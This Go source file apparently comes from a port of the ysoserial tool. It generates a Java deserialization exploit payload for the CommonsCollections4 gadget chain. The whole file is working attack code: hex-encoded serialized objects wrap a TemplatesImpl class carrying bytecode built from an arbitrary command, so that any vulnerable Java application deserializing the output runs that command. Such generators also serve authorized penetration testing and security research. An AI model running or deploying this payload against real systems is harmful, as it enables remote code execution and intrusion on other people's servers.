package gadget

import (
	"encoding/hex"
	"github.com/EmYiQing/Gososerial/ysoserial/util"
)

const CC4 = "CommonsCollections4"

func GetCommonsCollections4(cmd string) []byte {
	globalPrefix := "ACED0005737200176A6176612E7574696C2E5072696F72697479517565" +
		"756594DA30B4FB3F82B103000249000473697A654C000A636F6D70617261746F7274" +
		"00164C6A6176612F7574696C2F436F6D70617261746F723B78700000000273720042" +
		"6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F" +
		"6D70617261746F72732E5472616E73666F726D696E67436F6D70617261746F722FF9" +
		"84F02BB108CC0200024C00096465636F726174656471007E00014C000B7472616E73" +
		"666F726D657274002D4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C65" +
		"6374696F6E73342F5472616E73666F726D65723B7870737200406F72672E61706163" +
		"68652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72" +
		"732E436F6D70617261626C65436F6D70617261746F72FBF49925B86EB13702000078" +
		"707372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E" +
		"73342E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC" +
		"287A97040200015B000D695472616E73666F726D65727374002E5B4C6F72672F6170" +
		"616368652F636F6D6D6F6E732F636F6C6C656374696F6E73342F5472616E73666F72" +
		"6D65723B78707572002E5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C" +
		"6C656374696F6E73342E5472616E73666F726D65723B39813AFB08DA3FA502000078" +
		"70000000027372003C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C6563" +
		"74696F6E73342E66756E63746F72732E436F6E7374616E745472616E73666F726D65" +
		"72587690114102B1940200014C000969436F6E7374616E747400124C6A6176612F6C" +
		"616E672F4F626A6563743B787076720037636F6D2E73756E2E6F72672E6170616368" +
		"652E78616C616E2E696E7465726E616C2E78736C74632E747261782E547241584669" +
		"6C746572000000000000000000000078707372003F6F72672E6170616368652E636F" +
		"6D6D6F6E732E636F6C6C656374696F6E73342E66756E63746F72732E496E7374616E" +
		"74696174655472616E73666F726D6572348BF47FA486D03B0200025B000569417267" +
		"737400135B4C6A6176612F6C616E672F4F626A6563743B5B000B69506172616D5479" +
		"7065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A61" +
		"76612E6C616E672E4F626A6563743B90CE589F1073296C0200007870000000017372" +
		"003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E61" +
		"6C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB33" +
		"03000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E64" +
		"65785B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E00" +
		"144C00055F6E616D657400124C6A6176612F6C616E672F537472696E673B4C00115F" +
		"6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F70" +
		"6572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB370200" +
		"00787000000002757200025B42ACF317F8060854E00200007870"
	templateImpl := GetFrohoffTemplateImpl(cmd)
	templateImplStr := hex.EncodeToString(templateImpl)
	length := len(templateImpl)
	lenStr := util.Int32ToBytes(uint32(length))
	globalSuffix := "7571007E001F000001D4CAFEBABE00000032001B0A00030015070017" +
		"07001807001901001073657269616C56657273696F6E5549440100014A01000D436F" +
		"6E7374616E7456616C75650571E669EE3C6D47180100063C696E69743E0100032829" +
		"56010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C" +
		"5661726961626C655461626C6501000474686973010003466F6F01000C496E6E6572" +
		"436C61737365730100254C79736F73657269616C2F7061796C6F6164732F7574696C" +
		"2F4761646765747324466F6F3B01000A536F7572636546696C6501000C4761646765" +
		"74732E6A6176610C000A000B07001A01002379736F73657269616C2F7061796C6F61" +
		"64732F7574696C2F4761646765747324466F6F0100106A6176612F6C616E672F4F62" +
		"6A6563740100146A6176612F696F2F53657269616C697A61626C6501001F79736F73" +
		"657269616C2F7061796C6F6164732F7574696C2F4761646765747300210002000300" +
		"0100040001001A000500060001000700000002000800010001000A000B0001000C00" +
		"00002F00010001000000052AB70001B100000002000D0000000600010000003C000E" +
		"0000000C000100000005000F001200000002001300000002001400110000000A0001" +
		"00020016001000097074000450776E727077010078757200125B4C6A6176612E6C61" +
		"6E672E436C6173733BAB16D7AECBCD5A990200007870000000017672001D6A617661" +
		"782E786D6C2E7472616E73666F726D2E54656D706C61746573000000000000000000" +
		"00007870770400000003737200116A6176612E6C616E672E496E746567657212E2A0" +
		"A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62" +
		"657286AC951D0B94E08B02000078700000000171007E002978"
	temp := globalPrefix + lenStr + templateImplStr + globalSuffix
	data, _ := hex.DecodeString(temp)
	return data
}
